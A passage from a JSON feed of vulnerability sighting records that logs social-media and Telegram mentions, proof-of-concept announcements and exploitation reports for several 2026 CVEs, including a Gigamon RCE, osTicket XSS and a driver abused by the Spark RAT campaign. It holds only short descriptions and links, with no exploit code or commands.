CVE-2026-36848\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a calligraf0\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-29 15:01:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nGigamon Unauth RCE (CVE-2026-36848)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-14T00:00:33.448894Z"}, {"uuid": "3050c376-34fb-4a87-9dce-4752d109d70d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36035", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mqnfqvwm4q27", "content": "CVE-2026-36035 - CAXPerts UniversalPlantViewer WebServices Server Improper Access Control\nCVE ID : CVE-2026-36035\n \n Published : July 14, 2026, 11:17 p.m. | 14\u00a0minutes ago\n \n Description : Incorrect access control in the /api/License/deactivateOffline endpoint of CAXPerts Univ...", "creation_timestamp": "2026-07-14T23:54:34.793527Z"}, {"uuid": "e42038d2-53bc-4e31-bed7-e9c13be76c34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "seen", "source": "https://t.me/GithubRedTeam/92398", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE #Stored\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36214\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a WesWrench\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-07 19:35:17\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nStored Cross-Site Scripting (XSS) in osTicket via Vulnerable Bootstrap Tooltip Component\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:31.148644Z"}, {"uuid": "397d9de1-af74-4838-b52b-c475395d5d49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36848", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91165", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #RCE #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36848\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a calligraf0\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-06-29 15:01:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nGigamon Unauth RCE (CVE-2026-36848)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:24.341802Z"}, {"uuid": "6266be22-ec0f-430b-bcca-8fa814e458e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36851", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/91767", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36851\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a SyntaxSaiyan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-03 15:37:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWalkthrough and PoC of File path traversal vulnerability(CVE-2026-36851) for UnPoller 2.33.0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-15T00:00:28.820677Z"}, {"uuid": "9afa0cdb-9c68-4ba7-8d3c-bac58f1e2756", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "seen", "source": "https://t.me/GithubRedTeam/93240", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36214-osTicket-XSS\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a amnsecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-13 13:38:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-36214 - osTicket Stored XSS via Bootstrap Tooltip - PoC & Analysis | CVSS 8.7 HIGH | AMN SECURITY\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-16T12:00:07.303645Z"}, {"uuid": "80e75663-a4ef-47be-8cbb-d1feda817df6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36425", "type": "seen", "source": "Telegram/rpxQrde5C3QRNvZwgV3wnpJTDTukLKxeiiPOPNL_I7MqRI0", "content": "", "creation_timestamp": "2026-08-25T17:00:03.933402Z"}, {"uuid": "d5d18fe5-784a-4cab-b5a4-e9944029bd82", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "seen", "source": "https://t.me/GithubRedTeam/93696", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE #Stored\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a osticket-stored-xss-risk-analysis\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a amnsecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-16 12:57:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-36214 professional stored cross-site scripting risk analysis with executive summary, impact, remediation, and mitigation strategy.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-16T15:00:03.617781Z"}, {"uuid": "0462c2e9-55a2-4e10-9355-556f5844a0d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "seen", "source": "Telegram/vOHofO2qPvPXIyPNButd37pf6Fhua5DFTWTRaJatxt7pU5Q", "content": "", "creation_timestamp": "2026-07-16T19:00:08.371509Z"}, {"uuid": "3e333f2f-e5a5-48f9-a67d-dd83dfdc8022", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "seen", "source": "Telegram/Ar6VYUXodzKxiDS_suM4v32kyWX2cdNc6MzI7nJflxEqdTk", "content": "", "creation_timestamp": "2026-07-16T19:00:17.795307Z"}, {"uuid": "d8ba4896-d81b-474b-b186-dbf5297fc690", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "seen", "source": "Telegram/3JJsuGuhcMBm07xmogHjfc9OsefJQdOZBBeMFqVzVN8tJ5g", "content": "", "creation_timestamp": "2026-07-16T19:00:08.897373Z"}, {"uuid": "51acf7f9-eacc-4c4d-aa0e-48e417d19dce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36851", "type": "seen", "source": "Telegram/t8M8uhUr1GMnhyQ8SFYN8Ui8G3-pyPo2nykB_kzHmHnNDZg", "content": "", "creation_timestamp": "2026-07-16T19:00:22.919717Z"}, {"uuid": "f28bcef5-71d9-430e-86a8-a7ef36e7be2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36851", "type": "seen", "source": "Telegram/8QYdX3wwzEqzJLaSNi6hVksRMW6mWNFxEw6eU-zImXltKjM", "content": "", "creation_timestamp": "2026-07-16T19:00:22.823307Z"}, {"uuid": "f24b647b-91cb-4d3c-8957-852e65379ded", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36834", "type": "seen", "source": "Telegram/LBqrNkVY4dEwnjUy7Kq7g-cCM4l6IBHTiJls5F94h7vNHE8", "content": "", "creation_timestamp": "2026-07-16T19:00:29.861185Z"}, {"uuid": "2bad452c-e4c2-457c-97ad-b8a45295db43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "published-proof-of-concept", "source": "Telegram/3JJsuGuhcMBm07xmogHjfc9OsefJQdOZBBeMFqVzVN8tJ5g", "content": "", "creation_timestamp": "2026-07-17T00:00:08.883692Z"}, {"uuid": "c0b35c81-adcb-487d-ad95-be3373895ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "published-proof-of-concept", "source": "Telegram/vOHofO2qPvPXIyPNButd37pf6Fhua5DFTWTRaJatxt7pU5Q", "content": "", "creation_timestamp": "2026-07-17T00:00:09.122904Z"}, {"uuid": "a82e7f2d-05a5-4273-bcf9-4927b735f57e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "seen", "source": "Telegram/Ar6VYUXodzKxiDS_suM4v32kyWX2cdNc6MzI7nJflxEqdTk", "content": "", "creation_timestamp": "2026-07-17T00:00:33.491105Z"}, {"uuid": "d7098d9b-d4b8-4686-9ab4-c2ba7651ed23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36851", "type": "seen", "source": "Telegram/8QYdX3wwzEqzJLaSNi6hVksRMW6mWNFxEw6eU-zImXltKjM", "content": "", "creation_timestamp": "2026-07-17T00:00:39.390517Z"}, {"uuid": "85421614-3aca-45a7-81be-a8342e044bc6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36851", "type": "seen", "source": "Telegram/t8M8uhUr1GMnhyQ8SFYN8Ui8G3-pyPo2nykB_kzHmHnNDZg", "content": "", "creation_timestamp": "2026-07-17T00:00:39.478295Z"}, {"uuid": "49ea8963-f047-431d-8ad8-fcab746ac3a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36834", "type": "seen", "source": "Telegram/LBqrNkVY4dEwnjUy7Kq7g-cCM4l6IBHTiJls5F94h7vNHE8", "content": "", "creation_timestamp": "2026-07-17T00:00:46.506908Z"}, {"uuid": "0ab44822-4aa5-4f7a-960a-1773a3da7e7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93240", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-36214-osTicket-XSS\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a amnsecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-13 13:38:02\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-36214 - osTicket Stored XSS via Bootstrap Tooltip - PoC & Analysis | CVSS 8.7 HIGH | AMN SECURITY\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-17T00:00:49.449080Z"}, {"uuid": "e822cf59-da5e-4a4f-b133-6b303c158e6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/93696", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE #Stored\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a osticket-stored-xss-risk-analysis\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a amnsecurity\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-16 12:57:14\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-36214 professional stored cross-site scripting risk analysis with executive summary, impact, remediation, and mitigation strategy.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-07-17T00:00:52.040401Z"}, {"uuid": "f77c62e0-fce1-4143-ba39-c9833174dbce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36425", "type": "exploited", "source": "https://t.me/thehackernews/9904", "content": "\ud83d\udea8 Spark RAT targets Cambodia using a vulnerable driver to kill security processes.\n\nThe campaign abuses CVE-2026-36425 in an OPSWAT driver to terminate processes tied to Microsoft Defender, Huorong, and Tencent PC Manager before deploying the RAT.\n\nHow the attack chain works: https://thehackernews.com/2026/08/spark-rat-targets-cambodia-abuses.html", "creation_timestamp": "2026-08-27T13:00:04.639999Z"}, {"uuid": "33fc7eee-da9a-4863-91bd-fa039e661cd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "published-proof-of-concept", "source": "Telegram/Ar6VYUXodzKxiDS_suM4v32kyWX2cdNc6MzI7nJflxEqdTk", "content": "", "creation_timestamp": "2026-07-18T00:00:26.475238Z"}, {"uuid": "4cc8ccda-ba8a-4940-9ae4-0c5789983c06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36851", "type": "published-proof-of-concept", "source": "Telegram/t8M8uhUr1GMnhyQ8SFYN8Ui8G3-pyPo2nykB_kzHmHnNDZg", "content": "", "creation_timestamp": "2026-07-18T00:00:11.166393Z"}, {"uuid": "bc9d1e70-a934-4a05-a2a7-92c9f7dc792a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36851", "type": "published-proof-of-concept", "source": "Telegram/8QYdX3wwzEqzJLaSNi6hVksRMW6mWNFxEw6eU-zImXltKjM", "content": "", "creation_timestamp": "2026-07-18T00:00:11.324969Z"}, {"uuid": "944feef4-a4de-4881-9b6d-a8dca44469be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36834", "type": "published-proof-of-concept", "source": "Telegram/LBqrNkVY4dEwnjUy7Kq7g-cCM4l6IBHTiJls5F94h7vNHE8", "content": "", "creation_timestamp": "2026-07-18T02:00:05.501398Z"}, {"uuid": "89e1b189-297e-4206-b46f-130bc501ccbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "published-proof-of-concept", "source": "https://t.me/cve0day/445", "content": "CVE-2026-36214", "creation_timestamp": "2026-08-28T00:00:37.286418Z"}, {"uuid": "8652f4a4-0368-4df2-a32d-9a0f54c62807", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36834", "type": "published-proof-of-concept", "source": "Telegram/LBqrNkVY4dEwnjUy7Kq7g-cCM4l6IBHTiJls5F94h7vNHE8", "content": "", "creation_timestamp": "2026-07-19T00:00:40.328284Z"}, {"uuid": "f938b0b0-ba05-455a-b939-9a1dab75ab75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36669", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mr42kk5phr2k", "content": "CVE-2026-36669\nAn attacker can upload malicious files to a publicly accessible directory on your Feng Office server, potentially allowing them to execute code or disrupt your site. This is a security risk because it could\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-20T19:44:05.753355Z"}, {"uuid": "7c160a49-b1e3-472c-87f1-f96999f3c209", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36425", "type": "seen", "source": "https://t.me/P0x3k_1N73LL1G3NC3/394", "content": "CVE-2026-36425 aka Arbitrary Process termination (BYOVD)\n\nCVE-2026-36425 OPSWAT AppRemover (ardrv.sys) improper access control advisory \n\nAnalysis", "creation_timestamp": "2026-07-20T21:00:05.154001Z"}, {"uuid": "8e057afa-714e-4447-b264-78dc54aea91c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36425", "type": "seen", "source": "https://t.me/P0x3k_1N73LL1G3NC3/394", "content": "CVE-2026-36425 aka Arbitrary Process termination (BYOVD)\n\nCVE-2026-36425 OPSWAT AppRemover (ardrv.sys) improper access control advisory \n\nAnalysis", "creation_timestamp": "2026-07-21T00:00:10.646984Z"}, {"uuid": "3de6b09e-9cb4-42df-a790-349bf46c3b04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36214", "type": "seen", "source": "https://t.me/cve0day/445", "content": "CVE-2026-36214", "creation_timestamp": "2026-08-27T15:00:06.228534Z"}, {"uuid": "f7323fef-12be-4d29-8a8c-933e13d745d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36425", "type": "exploited", "source": "https://t.me/thehackernews/9904", "content": "\ud83d\udea8 Spark RAT targets Cambodia using a vulnerable driver to kill security processes.\n\nThe campaign abuses CVE-2026-36425 in an OPSWAT driver to terminate processes tied to Microsoft Defender, Huorong, and Tencent PC Manager before deploying the RAT.\n\nHow the attack chain works: https://thehackernews.com/2026/08/spark-rat-targets-cambodia-abuses.html", "creation_timestamp": "2026-08-28T00:00:46.242897Z"}, {"uuid": "730ba6c4-cb8c-40d7-a752-9b94452fcb2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36425", "type": "seen", "source": "https://t.me/P0x3k_1N73LL1G3NC3/394", "content": "CVE-2026-36425 aka Arbitrary Process termination (BYOVD)\n\nCVE-2026-36425 OPSWAT AppRemover (ardrv.sys) improper access control advisory \n\nAnalysis", "creation_timestamp": "2026-07-22T00:00:34.672804Z"}, {"uuid": "27700ece-d760-4dfd-bf15-4ac0186a0bb8", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36356", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/910a7498-7d64-4605-a767-ff55aefe2721", "content": "", "creation_timestamp": "2026-07-23T11:00:31.039625Z"}, {"uuid": "231d279b-c9cf-451b-a3a5-7e9d6f9e20e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36425", "type": "seen", "source": "https://bsky.app/profile/toxy4ny.bsky.social/post/3mre5ysz2tc2a", "content": "Thursday\u2019s fuck up - This Time - again Windows - CVE-2026-36425 aka Arbitrary Process termination (BYOVD)\n\nCVE-2026-36425 OPSWAT AppRemover (ardrv.sys) improper access control advisory \n\nAnalysis: medium.com/@jehadbudagg...\n\nPoC: github.com/redteamfortr... #windows #driver #BYOVD #redteam #poc", "creation_timestamp": "2026-07-23T15:07:26.315370Z"}, {"uuid": "517602ed-d194-4e2b-9a38-eac45f065d54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36425", "type": "published-proof-of-concept", "source": "Telegram/rpxQrde5C3QRNvZwgV3wnpJTDTukLKxeiiPOPNL_I7MqRI0", "content": "", "creation_timestamp": "2026-08-26T00:00:09.945480Z"}, {"uuid": "b725c1fa-ca4a-48d9-bd5a-f7652bdc271c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36425", "type": "seen", "source": "https://bsky.app/profile/captechgroup.com/post/3mu3cdtemvf2j", "content": "Attackers are loading a legitimate signed OPSWAT AppRemover driver (CVE-2026-36425) to kill Defender from the kernel, then dropping Spark RAT on a host with no working sensors. #infosec #cybersecurity", "creation_timestamp": "2026-08-27T16:46:27.534424Z"}, {"uuid": "866212ae-7800-4a2e-afe0-6cfc4c928107", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3627", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/fgmuxegebqwx3", "content": "CVE-2026-3627 - Multiple Vulnerabilities in IBM Concert Software\nCVE ID : CVE-2026-3627\n \n Published : Aug. 28, 2026, 8:53 p.m. | 1\u00a0hour, 15\u00a0minutes ago\n \n Description : IBM Concert 1.0.0 through 2.3.1 is vulnerable to SQL injection. A remote attacker could send specially craf...", "creation_timestamp": "2026-08-28T22:19:36.021503Z"}, {"uuid": "40378d8c-40ef-431b-ad66-e64f9dd547d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3686", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/cdkyeqexdo33c", "content": "CVE-2026-3686 - Vulnerabilities exists in IBM Cloud Pak for Data System\nCVE ID : CVE-2026-3686\n \n Published : Aug. 28, 2026, 8:54 p.m. | 1\u00a0hour, 14\u00a0minutes ago\n \n Description : IBM Cloud Pak for Data System 11.3.0.2 through Interim Fix 001 is vulnerable to a denial of service ...", "creation_timestamp": "2026-08-28T22:31:35.554013Z"}, {"uuid": "6281b5c6-66f1-49e7-bfeb-e1b0f49b49e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3627", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mu7ck5cjed27", "content": "\ud83d\udd34 CVE-2026-3627 - Critical (9.1)\n\nIBM Concert 1.0.0 through 2.3.1 is vulnerable to SQL injection. A remote attacker could send spec...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-3627/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-29T07:00:40.756513Z"}, {"uuid": "9b4ede37-e057-4997-a95e-391aaaeaac7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36035", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmk5mowaa27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-36035 \u0432 CAXPerts UniversalPlantViewer: \u0443\u0433\u0440\u043e\u0437\u0430 DoS \u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u0430\n\n\n\nhttps://kripta.biz/posts/400E4762-D85D-4E6D-90AB-F07CDF7730B3", "creation_timestamp": "2026-07-27T09:05:47.851828Z"}, {"uuid": "4dc5e133-a21e-4689-a293-97ee8ff8cabd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-3627", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mu6ljndvoh2f", "content": "\ud83d\udea8 CVE-2026-3627 \u2014 CVSS 9.1 CRITICAL\n\nIBM Concert 1.0.0 through 2.3.1 is vulnerable to SQL injection. A remote attacker could send specially craf...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-3627\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-29T00:08:43.462923Z"}, {"uuid": "edb9dbdb-c8a9-4251-ae82-c115420bceaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36130", "type": "published-proof-of-concept", "source": "Telegram/y_ppx2WWa40cV5hBHui4bTL2VMdA_tcaI4VaugdhOfmt8Lg", "content": "", "creation_timestamp": "2026-09-02T01:00:04.718376Z"}, {"uuid": "771b11d6-9aae-4b23-a9e2-3fc68f950eab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-36425", "type": "seen", "source": "https://bsky.app/profile/hacks.gr/post/3muigwsjzrrnl", "content": "Emails disguised as Cambodian government notices and health records deliver Spark RAT.\n\nThe chain abuses 